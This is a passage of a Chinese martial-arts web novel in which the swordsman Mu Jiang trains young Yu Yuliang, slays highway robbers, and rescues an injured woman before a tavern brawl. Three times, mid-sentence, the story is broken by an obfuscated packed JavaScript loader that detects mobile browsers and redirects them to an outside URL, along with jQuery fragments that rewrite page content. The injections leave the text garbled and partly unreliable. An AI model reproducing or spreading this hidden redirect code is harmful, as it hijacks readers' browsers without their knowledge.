接下来木姜让雨馀凉向自己攻了二十多刀,每一刀都是雨馀凉用自己刀去砍木姜的刀,方位、角度完全一致,但木姜每一次都以不同的拆解方式拆解,每一个动作都无比利落娴熟。连用了二十多种不同的方式,最后却都将刀刃停在了雨馀凉脖颈处。 这一顿拆招让雨馀凉看得目瞪口呆,忙叫:“木前辈,请木前辈将此技传授与我。” 木姜把自己的刀往刀鞘中一送,道:“不急。你方才看到的,是从刀法上破他这招。此外还有别的思路……”木姜说着就伸脚往雨馀凉脚后跟一勾,动作迅捷却轻,雨馀凉立感重心有些不稳,却仍是站住了。木姜道:“他要来砸你的刀,难道你的腿是摆设?就算不攻他下盘,难道不能往上抬?踢去他的刀,踢他胸口,踢他下巴,都不是不可以。就算你的腿不用来攻击他,难道不能跑?他要来砸你的刀,你先跑到另一处,和他拉开距离,他还砸得到你的刀不成?就算你不想一味招架躲闪,要拆他的招,先拉开距离也可以算是拆招动作的一部分啊。你甚至可以趁势绕到他身后,一刀戳进他背心,戳他个凉透。” 木姜看向雨馀凉,道:“如此,他要来砸你的刀,就算你没有将内力灌在刀刃中,也不是能轻易砸断的。” 雨馀凉听得痛快,转而又想到木姜分析自己之前跟人打斗的出招就说了这许多,光这些自己就已经有些记不过来,不免有了畏难之心,一滴汗从额角滑落。 木姜注意到他的紧绷,放柔了声音道:“一开始是很困难,等你入了门道后,触类旁通,就越来越得心应手了。不着急,慢慢来。” 雨馀凉心里感激木姜对自己的安慰,忽然想到,那天自己是想拆谢岚星的那刀的,只是他力大,自己没能卸开他的劲道。便将这些跟木姜说了。 木姜听罢,先是一怔,随即说道:“我倒是忽略了这个问题……”他抬头看向雨馀凉,问:“之前在谷州刀派,你们师父有教你们怎么修炼内功没有?” 雨馀凉道:“有的,只不过……”他有些忸怩,“只不过我平日没花太多时间在修炼内功上……”雨馀凉不喜习武,平时便常偷懒不肯用功。 木姜道:“你卸不掉他的力,跟你内力修为不足有关。招式和内力相辅相成,不可偏废。若只有强大的内力,却没有招 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13720193|144790||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 式将其框柱,引导它出现在该出现的地方,便会像野火一样,只能空自剧烈地燃烧,却烧不到任何目标。但如果一点内力也无,不说很多招式的威力发挥不出来,对你的轻功等其他方面也会有限制。” “招式、内力,不同的习武之人才能、风格不同,各有偏重,有些人招式强些,有些人内力强些。天下习武之人何其多?然而能做到二者并行不悖,招式神幻莫测,而又内力深厚无比的的人,在包括水西、水南、水东三地的整个武林都屈指可数。”说道这里,木姜忽然有些出神,呆呆地望着前方。 雨馀凉问道:“木前辈,你是招式强些,还是内力强些?” 木姜道:“招式。” 雨馀凉通过先前木姜出手时对他的观察,心里也是这样想。 木姜低头思索一阵,道:“这样,其他的先暂时放一放,我先教你修炼内功的法门。”木姜顿一顿,“你既要跟我学,就不可再像从前那般。若是自己不勤加练习。我再怎么教都是徒劳。” 雨馀凉脸上一红,道:“是。” 之后几日,雨馀凉和木姜白天赶路,在赶路的间隙和夜晚,雨馀凉便照着木姜所授法门修习内功。修习内功并不轻松,须得长时间内集中全副精力,松懈片刻,便前功尽弃。木姜已有很久没打过坐了,但雨馀凉打坐、运气吐纳之时,木姜也坐在旁边陪着一起打坐。 雨馀凉当真不再偷懒,就是在赶路时,也在体内运气,尝试冲开一些经络穴道。如此,雨馀凉内力每天都比前一天小有长进。几日过后,木姜再去试雨馀凉的内力,也感觉到他的内力跟之前相比有较为明显的变化了。 雨馀凉感受到自己的进步,虽然进步不多,却也十分欢喜雀跃。 到了春分那日,午后明晃晃的日光倾洒在笔直宽阔的道路上,微风被阳光一烘,拂在脸上也暖洋洋的,路边花树上粉白细小的花瓣纷纷扬扬落下。雨馀凉仍穿着冬天厚重的衣物,走在路上,背上已出了一层薄汗。 他突然想起,若在往年,谷州刀派的大较在这几日就要开始了。每年自己比试完后,都会带着被木刀打出的又热又痛的红痕回到家中,这时爷爷要么是在后院里择菜,要么是坐在书桌前写着什么。见他回来了,会一边问他大较结果怎么样,一边赶紧去翻找伤药。 如此平常,却如此令人怀念。 他以为这样的日子会持续很久,可现在爷爷已经不在了,他也离开了原来居住了十一年的地方。 木姜一边走一边道:“你一直以来学的都是谷州刀派的武功招式,我们就先顺着它的思路来练。” 雨馀凉回过神道:“谷州刀派的武功不是……”他想说,无论是爷爷,还是木姜,不是都觉得谷州刀派的武功不怎么样吗,那他练了有什么用? 木姜道:“习武是一个循序渐进的过程,不能一蹴而就,先从你熟悉的地方入手,再逐渐深入。另外,你们谷州刀派的武功练好了,对付一般水平的江湖人也不成问题。若让你放弃以前学了十年的路子另学一套新的武功,会更加费劲。”他转头看向雨馀凉,“招式现在对你来说不是最重要的,主要是随机应变的能力。” 雨馀凉道:“难道招式就没有高下之分?” 木姜道:“有。但这不是你这个阶段思考的问题。” 雨馀凉无言以对,但心内仍是不甘心,缠着木姜教自己另一门招式更高明的武功。 木姜道:“好罢。”遂教他另一套武功,雨馀凉练了几天后觉得果然困难,还是练回了谷州刀派的武功。 木姜一边看雨馀凉练谷州刀派的武功,一边对这些武功的招式进行改进:“那一招你可以继续按照原来的样子练,这一招就别这么练了,换成出左手右脚,刀第二次斜向右下之后的动作可以全部去掉……” 二人就这般边练边改,雨馀凉练到后来,越发感觉到木姜让他弃而不练的都是动作繁冗、而无实际功用的部分。而木姜除修改一些招式之外,还增添了许多新的出招方式进去。 这些招式谷州刀派的师父虽从未教过,但雨馀凉练习上手却不像之前木姜之前教他的其他门派招式那样费劲。木姜添加的这些新招,雨馀凉之前是没有见过,然而奇怪的是,他依然能感受出这就是谷州刀派的刀法。 23. 拜师(四) 这日雨馀凉和木姜走在山间小道上,春天风大,雨馀凉看着木姜被阳光映照成金色的发丝翻飞,开口问道:“木前辈,你们门派的大较是什么样的?” 木姜道:“我没大较过。” 雨馀凉听了这话,好生羡慕,又问:“是木前辈的门派不用大较么?” 木姜道:“我没有门派。” 雨馀凉听了,这才回想起之前木姜跟雨休的对话。对于木姜说自己没有门派有些讶异,但也没有太惊讶。 他当时听到木姜说自己身上的无涯派武功是师父传授的以后,只以为木姜的师父是某个门派的武学耆宿,对武学一道有颇深的研究,这才会使已经灭门百年的门派的武功。 现在想来,木姜的师父既然教给木姜的都是失传的武功,那么他的师父没待在某个门派里也不算奇怪。 木姜边走边仰头望着湛蓝的天空,道:“虽然不用‘大较’,但天天都要‘小较’。” 雨馀凉道:“小较?” 木姜道:“我十五岁以前,师父除了教我之外,每天都要检查考校我的武功和读书功课。” 雨馀凉道:“读书功课?” 木姜道:“是,因为我读书写字也是师父教的。虽然师父是一天教我武功,一天教我读书写字,但每天两样都要考查。” 在谷州刀派,教弟子武功的被弟子们称作“师父”,教弟子读书写字的是门派从外面聘来的读书人,弟子们称作“先生”,二者的职责是分开的。雨馀凉想,木前辈的武功这么强,他的师父武功一定也很强,武功那么强,还可教木前辈读书写字,也是个厉害之人。 木姜道:“那时我也很紧张呢,我师父是个刁钻之人,不是每天都只考查前一次教的内容,有时会随机检查上上次,上上上次,乃至很久以前教我的东西。一开始,我以为只要把师父上一回教我的练熟了就能通过,结果有一次他突然考查三个月前教我的内容,当时我就傻眼了,三个月前的内容我早就忘得一干二净。然后他……竟然笑得特别开心,让我去把三个月前的笔记找出来,罚抄了八十遍,手都给我抄抽筋了。从那以后,我练功背书更加勤谨,生怕又抄书,每天他来检查的时候,我都提心吊胆。” 雨馀凉听他这么说,也没那么羡慕了。想象了一下自己在谷州刀派时的师父辜俊愿每天都来查验自己的武功,忍不住打了一个寒战。但心里又觉得有些好玩,原来像木姜这样厉害的前辈,也曾有过那样的时候。 二人正说着,忽然从小道两旁冒出一群人来。 雨馀凉看到这群人,感到了哪里不对,脸上笑容逐渐消失。 木姜也停下脚步,道:“前面各位大哥,可以让一让吗,这路本来就窄,你们把路挡着,我们过不去了。” 领头的一个络腮胡子道:“让一让?哈哈,哈哈……”他对着其他人笑了一阵,又转向木姜道:“让一让,可以,只要兄弟把身上值钱的都掏出来,我们就让你们过去。” 木姜右手虚握在嘴前,咳了一声,道:“我们穷得要命,身上实在没什么值钱的东西,求大王行行好,放我们过去吧。” 领头的络腮胡子和旁边一人对视了一眼,同时点了点头,络腮胡子转过头来,喝道:“杀了!” 果然是伙剪径的强盗。 雨馀凉见到这种情况,本能地想要退后,随即又暗骂自己何以遇事就退缩。又想到这十来天在木姜手下修习武功,自觉无论是内力还是招式都比以前有了不小的进步,眼下刚好是个实战的绝好机会。于是死命坚持在原地站定,右手伸到背后,随时准备拔刀。 片刻后那强盗头子络腮胡躺在地上,呻吟着对木姜和雨馀凉道:“饶命兄弟,饶命……” 他的腿上被木姜砍了一刀,疼痛难忍。其余的强盗有些被木姜立毙当场,有些还没死的趴在地上呻吟,好像还有一个跌跌撞撞地逃了。 木姜道:“饶你们?饶你们再去抢劫别的过路人吗?还是一发杀了干净。”话毕手起刀落,长刀插进他胸口,络腮胡子惨叫一声,登时断了气。 雨馀凉目睹这一幕,胸口微微起伏。 虽然木姜之前也在他面前杀过人,但雨馀凉此刻却突然觉得,木姜杀人有些过于干脆利落了,就跟切砧板上的萝卜一样。他心里颇为不安,甚至隐隐有些恐惧。 木姜突然转过头看向雨馀凉,雨馀凉一颤,木姜道:“馀凉,你去将那边地上还活着的强盗,一刀一个,全部料理了,我负责这边的。” 雨馀凉一怔,不知怎的,他不敢违抗木姜的话,甚至连质疑也不敢提出,何况……他告诉自己,地上躺着的那些都是强盗,本来也该死。于是拿着刀一步步走到最近的一个强盗身边。 难道他就要杀人了? 雨馀凉俯视着地上的强盗,缓缓将长刀提起,刀尖对准那人胸口。 只见那人蜷缩着,双脚缓缓蹬动。 雨馀凉好几次都下定了决心,可临了了,却还是迟迟刺不下去。 只要他这刀下去,一个生命就会消逝,是他亲手带走的。 他也不是可怜这些强盗,只是…… 他的思路被扑的一声打断了。 雨馀凉回过神来,定睛一看,木姜已来到了他面前,将刀刺入了面前这人的身体,后者身体剧烈一抖,便不再动了。 木姜转过去背对着他,道:“下不去手?多来几次你就习惯了。”说着将刀拔出,一边走一边道:“你先在这里等着,我去去就回。”说完便向前跃出。 雨馀凉环视四周,所有强盗都已经成了一具尸体,包括本来该他料理的,木姜也已经全部出手解决了。 一阵风吹来,吹得山道旁边树上的树叶哗哗作响。雨馀凉经过方才一战,身上全被汗水打湿了,风吹着汗湿的衣物贴在身上,让他感到一阵凉意。 雨馀凉心神不宁,一个人在尸体堆里也有些害怕,决定通过回想方才的打斗来转移注意力。方才那一战,虽然他刀法使得还不算太熟练,再加上心中紧张,有些动作便不那么准确,本来该削向敌人的刀削空了好几次,但好歹将敌人攻向自己的每一招都挡回去了,不仅自己毫发无伤,还伤了四名强盗。若在十多天前,雨馀凉是万万想不到自己能做到这种程度的。 忽听得旁边脚步声响,雨馀凉抬起头,是木姜回来了。 只见木姜左手拿着刀,右手却提着一人的衣领。木 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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过了几天,这强盗觉得自己这样活着着实没有意思,便想撂挑子不干了,跟雨馀凉对练时也不认真了。然而木姜的声音从旁边阴恻恻地传来:“用全力。”听见这三个字,强盗身上一个激灵,只得打起精神继续努力出招供雨馀凉拆解。 如此到了八九天上,雨馀凉已经将这强盗的每一种出招方式都吃熟摸透,能灵活地使用谷州刀派的刀法拆解他的每一招。在最后一次观看了雨馀凉和这强盗过招后,木姜点点头,道:“差不多了。” 雨馀凉兴奋道:“那我是不是可以进行下一步的练习了?还有他……”说着看向强盗。 雨馀凉本意是想问木姜怎么处置强盗,只听木姜道:“这有何难?”便拔出长刀,一刀刺入这强盗的胸口。那强盗站立不稳,仰天倒地,就此气绝,死前眼睛还睁得大大的。 雨馀凉虽然之前就已经见识过了木姜杀人的干脆,但木姜方才这一刺预先没有半点征兆。何况这名强盗与他们相处了近十天,又每天与雨馀凉对练刀法,如此被说死就死在面前,雨馀凉仍是被吓得不轻。 木姜看到雨馀凉表情呆滞,道:“在遇到我们之前,不知他们已经杀过了多少人,说不定在拦住我们的那条山道两边,就埋着不少过路人的尸首。” 虽然雨馀凉同意木姜的说法,但如此用完就杀,雨馀凉心里还是有些难以接受。 木姜将刀上的血甩了甩,把刀收回鞘中,又道:“走吧,前面的路还长着呢。” 二人穿州过府,翻山越岭,不一日来到了敛安城。 24. 灼灼(一) 夜色笼罩的树林,银白的剑光破空而下,山鬼身子一侧,堪堪躲过这一击。 那剑挟着剑气斫在山鬼身后的一块巨石上,霎时间碎石尘土飞扬。 她一边跑,一边左手捂着右臂,显是右臂已然受了伤。 自从那日与河伯跟踪雨馀凉被疤脸汉子发现后,他们自觉与那疤脸汉子武功相差悬殊,便不敢再继续跟随,转而想要从其他地方着手查清少主人聊以偲交代的事。 本来是和河伯分头行动,没想到山鬼在调查时竟被人盯上。对面那两人道:“我们知道你是九歌的人,你是现在就一刀把自己脖子抹了,还是等我们来杀你?” 山鬼讶异之余,便和这两人动起手来。 不想这二人武功高强,山鬼和他们过上几招,便知他们的武功犹在郑宝卿和唐奕才这两派掌门之上,若留在原地和他们打,等待她的只有被擒被杀。思及此,便一路奔逃。 她正发足狂奔,突然又是一道黑影从天而降。 黑影细长,便如一条长蛇一般,劈脸朝她飞来。 ------------------------------ 木姜道:“翻过这座山,穿过敛安城,你们水南以此为界,敛安城那头,各类门派、江湖组织一下便多起来了。” 虽然之前种种迹象表明,木姜本不是水南人士。但这还是雨馀凉第一次听他明显地表示出来,毕竟他说出了“你们水南”这种话。 木姜又道:“我们在敛安稍作停留,便继续赶路。” 雨馀凉道了声好。早晨的空气清新异常,他正深深呼吸间,蓦地瞥见旁边草丛中露出了白色的一角。 雨馀凉心下好奇,走过草丛低头看去。 这一看着实把他惊了一跳。 只见那里躺着个人,双目紧闭。她嘴角有血,衣服上也沾了暗红色的血迹。 雨馀凉强自定下心神,再仔细一看。 咦? 这不是……这不是那位问路的道姑么? 木姜见雨馀凉走着走着就到路边草丛里去了,还定定地站在那,像是看见了什么东西,于是也走过来,往草丛里望去。 雨馀凉怔怔道:“她……她死了吗?” 木姜蹲下身,伸手搭上了山鬼脉搏,又往她侧颈探了探,道:“还没。” 雨馀凉转头看向姬花青道:“木前辈,我……我得救她!” 木姜看着地上的山鬼,道:“我们不知道她是因什么原因受伤昏倒在这的,说不定是江湖组织势力之间的争斗。和她扯上关系也许会卷入其中,你永远不知道一个受伤倒在路边的江湖人士曾经惹上的是多么不得了的人。”他又转头看向雨馀凉,“你确定要救她吗?” 雨馀凉看着山鬼惨白的脸,想起就是这张脸,不久前还言笑晏晏地说,要来看自己大较。也是在那个时候,他才突然明白过来为什么那些谷州刀派的师兄弟姐妹们那么期待家人来看自己大较比试。 他又想起了爷爷。 雨馀凉捏紧了拳头,道:“我确定要救她。”说着便走上前,试图将山鬼背在自己背上。 木姜道:“说起来,那日除了我之外,不是还有人暗中跟着你吗?就是她了。” 雨馀凉动作一顿,很快又继续将山鬼背起来,道:“那我刚好要问一问她为什么跟着我。” 雨馀凉背着山鬼,和木姜并排走在路上。 雨馀凉突然道:“木前辈。” 木姜道:“何事?” 雨馀凉道:“是我自己要执意救她,若她真惹上了什么麻烦,要牵连也只牵连我一个人,你就当不认识我。是死是活,看我造化罢了。” 木姜嘴角微勾,道:“行啊。” 快走到城门时,木姜突然转身,伸手拭去了山鬼唇边的血迹。雨馀凉见他虽神色淡漠,动作却轻柔细致。 木姜道:“她这个样子,不仅在走在街上惹人注目,等到了客栈,店家看了说不定都不肯让我们住店。” 这句话提醒了雨馀凉,于是雨馀凉将自己的外套脱下来,盖在山鬼身上,掩住了她衣服上的那些血迹。 敛安城是一座建在山上的城池,山中有城,城中有山,城与山融为一处。城内风物极是秀美,就是上下坡多了些,走久了有些累人。 雨馀凉和木姜来到一家客栈入住,一切进行得还算顺利,客栈的掌柜小二等看到雨馀凉背上背着个人,也没说什么。 雨馀凉到了房间后,将山鬼轻轻放在床上。木姜忽然道:“那你今晚睡哪?” 雨馀凉一怔,方才他们只要了两间房,显然是都没想到这个问题。 雨馀凉想去找小二再要一间,却又想到就眼下这位姑娘的情形,实在不放心留她一个人长时间在一边。万一有什么突发状况,有个人守在旁边照顾总归更好。 但他和木前辈都是男的,无论换做谁不方便。 雨馀凉想说自己今晚就住这个房间,这位姑娘睡床,他睡地上就可以了,却又担心木姜认为自己图谋不轨。正犹豫时,木姜道:“这位姑娘现在昏迷不醒,旁边不好没人照看。人是你救回来的,要不今晚就委屈你打个地铺,这多一间的房钱却也可以省下来了。” 雨馀凉听木姜道出自己心中所想,又解除了自己的忧虑,心内大是舒畅,郑重道:“是。” 一切安排停当,木姜向雨馀凉招招手道:“来。”便引雨馀凉来到隔壁自己房间。 二人在屋内坐定了,木姜道:“那天跟踪你的,除了这位姑娘,还有一个汉子。” 雨馀凉道:“就是那日在谷州府,将木前辈拦下来的汉子?” 木姜略微歪头看向雨馀凉。 雨馀凉小心翼翼道:“他说,木前辈六年前断了他的右小臂。” 木姜道:“你怎么知道这些?” 雨馀凉一愣,道:“木前辈,那天我也在,你忘了?” 这回轮到木姜愣住了。过了一会,他才道:“哦……是吗。”木姜不习惯记人脸,就连雨馀凉这种模样俊俏的也记不住。那日他在谷州刀派全程又只看着河伯说话,虽然目光有从雨馀凉脸上扫过,却也没有多少印象。 木姜道:“那你认识这位姑娘?” 雨馀凉道:“当日在谷州府,有过一面之缘。她……她对我甚是和气。” 木姜微笑道:“原来如此。” 雨馀凉看着木姜意味深长的笑容,脸颊微微泛起了红色,想解释些什么,却又觉得越解释越说不清,干脆闭口一句话也不说。 木姜道:“她手臂上的伤是被利器划的,这伤虽看着吓人,倒还不要紧。导致她昏迷不醒的,是内伤。”木姜说着,从袖中掏出一个药瓶,“这是医治内伤的药,你去给她服下。” 雨馀凉拿了药,又回到自己房间,把药给山鬼服了。木姜和雨馀凉各自在房间内休息一阵,这之后便去到大堂中吃午饭。 一楼二楼都有供客人用饭的大堂,一楼已经坐满了人,雨馀凉和木姜便上到二楼。 二人来到二楼时,发现二楼大堂内也已经坐了很多人了。说话声、杯筷碗盏相击的声音此起彼伏。雨馀凉和木姜挑了一张小桌对面坐下,不一时就有小二上来倒茶。 木姜这才看到大堂内柱子上悬挂着一块木牌,上面用黑墨写着:严禁打架斗殴。 木姜看了,心里觉得有点意思。 二人点了菜后,忽听得旁边一桌有个人大声道:“谷州刀派?” 雨馀凉现在虽已和谷州刀派没有关系了,乍听到这四个字,身体还是下意识晃了晃。 大声叫出“谷州刀派”四字的是个中年汉子,只听他继续道:“没听说过。” 同桌另一个人道:“我听说过,不怎么样,跟其他大的门派根本比不了。” 第三个人道:“所以这次唐掌门和郑门主去那里,简直就是倒了大霉。先不说那门派根本就不值得他们千里迢迢过去,去了还差点遭到杀身之祸,好在他们吉人自有天相,那歹人终究不敌逃走,现在两位掌门已经在回临蓟的路上了。” 木姜心想,原来唐郑二人并无性命之虞。那日他和夏篁相斗,见唐奕才和郑宝卿到来,便脱离战局前去寻找雨氏爷孙,却不想又在树林中见到了夏篁。夏篁既然出现在那,那么就代表他摆脱了唐郑二人,只是不知他是单纯地逃了出来,还是顺便把这两位掌门都干掉了。今日听到这些江湖汉子谈论,才知二人无事。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13728268|144790||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 木姜举起茶杯正待要饮,忽听得楼梯口脚步声响,他从杯沿后抬眼看去,只见一伙人各携兵刃进得大堂中来。这些人有男有女,俱是劲装打扮,在几张桌子前纷纷坐下,意态闲闲地将兵刃大剌剌放在桌上,发出喀锵啪嗒的声音。 雨馀凉以前在谷州府从未见过这么多江湖人士,不由得看得呆了,继而又有些局促不安,朝斜靠在桌边的自己的刀瞧了一眼。 其中一个高大年轻的汉子一拍桌,昂首叫道:“小二,怎么还不来上茶?大爷不付你钱不成?”声音极其洪亮。 店小二忙提着茶壶奔过去,一面口里道:“来了客官!” 木姜只是在这些人刚进门时看了他们两眼,之后便没再留意。恰在此时,他和雨馀凉点的菜也陆续上来了。 木姜问雨馀凉道:“你多少岁了?” 雨馀凉道一愣,道:“十七。”他不知道木姜为什么要突然问他年龄。 木姜道:“那还在长身体,你多吃点。” 雨馀凉忙道:“木前辈,你也吃。”木姜闻言,报以一笑。 两人吃菜时,那些之后进来的江湖人士在大声谈论。 与那高大年轻汉子同一桌,有一个体态神色看上去都十分萎靡的男人,身材单薄,约莫三十岁的样子,只听他缓缓道:“聊以偲嚣张、心中不服也是很自然的事,毕竟他老子聊正赟当了近四十年的掌盟。聊正赟不仅威震水西,连我们水南也都忌他几分,聊家当年声势多么浩大,作为聊家的公子,有傲气,看不起人,也正常。” “掌盟”是水西武林“特产”,雨馀凉虽长在水南,也大概知道掌盟是怎么一回事。 如今水西水东武林盟主的先祖卫寂霆是第一位武林盟主,之后武林三分,以邑丰江、仲邑江、睦山为界,水南、水西、水东分别有各自的武林盟主。而在两百多年前,水西出现了掌盟,虽然盟主还存在,但人们都知道,很多事已经是掌盟全权决定,水西武林盟主成了摆设。在水西,这样的状况一直持续到现在。 那萎靡男子又道:“只可惜聊家小少爷遇上了一个同样用鼻孔看人的主,如今的那位水西武林盟主卫大人,嘿嘿,听说志向远大着呢。” 那高大年轻汉子左手食指敲着桌子,道:“最可笑的是,卫尧觉和聊以偲是死对头,谁都知道。偏生他们自己以为大家都不知道他们之间暗自较劲。” 与他们同一桌一个打扮干练的女子道:“两人不是还暗暗比赛看谁先把咱们水南收入囊中么?哼,只要将水南武林吞并,在水西就建立起了威望,如此一来,得到水西其他门派的肯定与推崇,成为水西武林真正的话事人也就轻而易举了。” 那桌武林人士絮絮地谈着,木姜突然对雨馀凉道:“等你学的差不多了,咱俩就各走各的。说起来你倒真是个练武的材料,这一个月以来,你进步的速度远比我想的要快。” 雨馀凉乍然听木姜说起两人分道扬镳的话题,心里有些空落落的,转念又想这是迟早会发生的事,且二人本就是萍水相逢,也就强迫自己接受了。但他听木姜夸赞自己,很是不好意思,道:“木前辈,你不必为了鼓励我说这些话……” 木姜道:“我不会为了鼓励别人而说假话。” 木姜发现雨馀凉有天赋的同时,也不由得想起自己从前四处找人习武时的经历。那是很多很多年以前,人家只看了她一眼,就说:“你不得行,体质不适合练武。”然后叫下一个人上来。她红着脸多问了几句,那人就十分不耐烦了,皱眉挥手道:“哎呀……走走走,说了不得行。别人练一个月就能练明白的东西,你要练一年甚至几年,收你作甚?你自己也练得恼火。”一番话彻底将她拒之门外。 正当木姜一边吃饭一边出神时,方才谈话的那桌武林人士谈着谈着就谈到了水南自己的形势,那高大年轻汉子道:“凤妹此言差矣,咱们自己的武林盟主,又有什么本事了?换了姓聊的或姓卫的,说不定比现在还好些。” 他说这话时,虽刻意压低了声音。但不远处那桌,也就是一开始议论谷州刀派的那桌中年汉子,内功似乎也很了得,将他的这番话全部听得一清二楚。一名中年汉子突然重重一掌拍在桌子上,喝道:“小子说什么?” 25. 灼灼(二) 那中年汉子一拍一喝,便如惊雷在空中炸开,雨馀凉,包括其他桌的客人都被惊得身子一震。 那高大年轻汉子回头,一开始似乎还没意识到这中年汉子是在说自己,直到他发现那中年汉子双目圆瞪,眼珠一动不动怒视着他,这才知道自己方才所说的话被听去了。 年轻高大汉子笑道:“我自跟我这边的人说话,你这老小子,又在吠什么?” 中年汉子指着那年轻高大汉子道:“光凭你刚才那句话,就足以把你押去盟主大人面前治罪!” 那高大年轻汉子哈哈一笑,道:“水南武林已经快没人了,他若再杀自己人,岂不是自毁长城?” 中年汉子怒极,喝道:“小子放肆!”“肆”字还没说完,便已猱身而上,伸出手臂就是中宫直进的一拳。 那年轻高大汉子左手上举,手掌根部往中年汉子腕上一顶,中年汉子登时感到整条右臂酸痛难言,竟被这一下激出了泪花,那年轻高大汉子身子转了一周,使出一记回旋踢将人扫飞出去。那中年汉子身子撞向旁边一张饭桌,在桌上用饭的客人见状忙不迭起身散开。只听喀啦啦一连声响,饭桌桌面裂开,桌腿折断,桌上的饭菜也都连碗带盘摔在地上。木屑、碎瓷片、饭粒油汤,尽被中年汉子压在了身下。 那中年汉子颤抖着抬起一条手臂胡乱摸索着挥了挥,发出一阵阵有气无力的惨呼。 雨馀凉看到,那中年汉子的腰似乎扭转到了一个奇怪的角度,看上去诡异至极。 高大年轻汉子略微抬起右腿,将手掌正反面都在膝盖上拍了拍,淡淡道:“这点不入流的微末功夫,也拿出来丢人现眼。” 与那中年汉子一桌的另外两人见自己人受伤,都蹭地站起,其中一个叫道:“老三!”另一人直接刷的一声抽出钢刀,道:“既然人家不留情,我们还客气什么?”说着手一撑桌面,越过桌子纵身而上,挥刀向高大年轻汉子砍去。 与那高大年轻汉子一桌的萎靡男子和干练女子见状,也都拿起兵刃上前,一时间双方人马斗在一处。 饭店中的人见动上了手,不会武功的已然丢下碗筷酒盏逃了出去,生怕波及到自己。大堂中只剩下和这高大年轻汉子、萎靡男子、干练女子一起进来的另两桌人,以及其他零星几桌江湖人懒得动,掌柜的和店小二躲在柜台后面,头也不敢探一下。 雨馀凉心惊胆战,看向木姜道:“木前辈……” 木姜挑了一夹菜到自己碗里,道:“江湖上,不成天都是杀过来杀过去的吗,这事儿也不新鲜。”他又另拿了双筷子将烧鸡的鸡腿夹进雨馀凉碗里,安慰道:“放心,不是来找我们的。” 倏地一块什么东西朝他们飞来,雨馀凉下意识地想要闭眼,只听啪的一声,木姜提起刀柄挡下了那东西。那物在地上啪嗒啪嗒地弹了几下,最后停了下来。雨馀凉定睛一看,是一块碎木块,应当是某张饭桌或椅子上的一角。 雨馀凉定了定神,也拾起了自己的刀,双手把住刀鞘靠近刀柄的那一端,准备下次再有东西飞过来时也以刀鞘或刀柄弹开。 旁边两桌人笑道:“范相公,解决这种小事,用不着我们上了吧。” 那高大年轻汉子一面拍开敌人攻来的一掌,一面回头笑道:“用不着,用不着。莫说你们不必上,舒大哥和凤妹也是多事。各位请安坐,先吃好喝好,我这边马上就解决了。”他状态松弛,一副很有余裕的样子。 旁边那两桌其中一桌有四人,另一桌坐了三人,是方才跟那被称作“范相公”的高大年轻汉子一起进来的,看样子,这十人是一道。 雨馀凉一边提防可能会飞来的杂物,一边留神观察这几人的招式。两个中年汉子出招虽沉猛却不凝滞,反而十分灵活,可见身手皆是不凡。 两个中年汉子每使出一招,雨馀凉都在心里暗暗思考拆破之法,十招中倒有五六招雨馀凉能够拆解,这五六招中又有两三招需要思考一阵才能拆得了。然而若在实战中,对方是万万不会给这个时间让你思考的。 雨馀凉知道,自己对上这两个中年汉子随便其中一人,都不会有胜算。 但这两个中年汉子对上对面那高大年轻汉子,却被打得节节败退。本来对面是三人齐上,但那萎靡男子和干练女子见高大年轻汉子能独自对付这两个中年汉子,便也退在一边,只全神贯注地观战,不再出手。 自己已不是两个中年汉子的对手,而对面那个“范相公”武功却远远强出两个中年汉子,如此天外有天,人外有人,江湖之深不可测,远超雨馀凉想象。他的武功要练到什么程度才能支撑他去寻找自己的身世?又要练多久才能练到那个程度?思及此,一滴冷汗从雨馀凉额边滑过。他感到了一股前所未有的压力,压得他直要喘不过气。 没过多时,两个中年汉子双双败下阵来,并且都多少受了些伤。二人见今日无有胜算,一左一右架起先开始倒在地上的中年汉子,三人踩着地上碎裂的盘子,跌跌撞撞地抢出了大门。 雨馀凉注意到最开始被踢飞的那中年汉子,腰部以下转到了侧面,似乎是转不回来了。 萎靡男子拍手道:“舟诚兄弟,你的武功又有精进了。” 如此听来,那名范相公大名应是“范舟诚”了。 范舟诚与那萎靡男子和干练女子一边归座,一边道:“哪里,比起舒大哥你还差得远呢。何况对付这种草包,让人无法使出全力,不仅乏味得很,也无法让舒大哥和凤妹看到我这几个月来修炼的真正成果。” 萎靡男子又道:“你那招连环踢腿……” 周遭恢复了平静,各桌的人继续边吃喝边聊天。只是只剩下包括木姜雨馀凉在内的几桌江湖人,大堂内没有之前那么喧闹。 掌柜看着一地的烂桌烂椅,只能摇头叹气。他也不敢去向范舟诚等人索要赔偿,只是指挥小二将地上的狼藉收拾了。 木姜想,结果那个禁止斗殴的牌子根本就没用嘛。 小二正拿了扫把扫着地上的碎瓷片,忽听得从楼梯传来噔噔噔的脚步声,小二还没来得及直起腰,转头一看,见是一名大约三十来岁的男子,身后还跟着几人,神情严肃地走上楼来。 小二以为是顾客来了,忙殷勤道:“客官,吃饭还是住店?” 那男子道:“找人。” 雨馀凉听到这声音,眼前突然一阵发黑,再转头一看,果然是辜俊愿。 师父怎么找到这来了?他来是打算干什么?带自己回谷州府去? 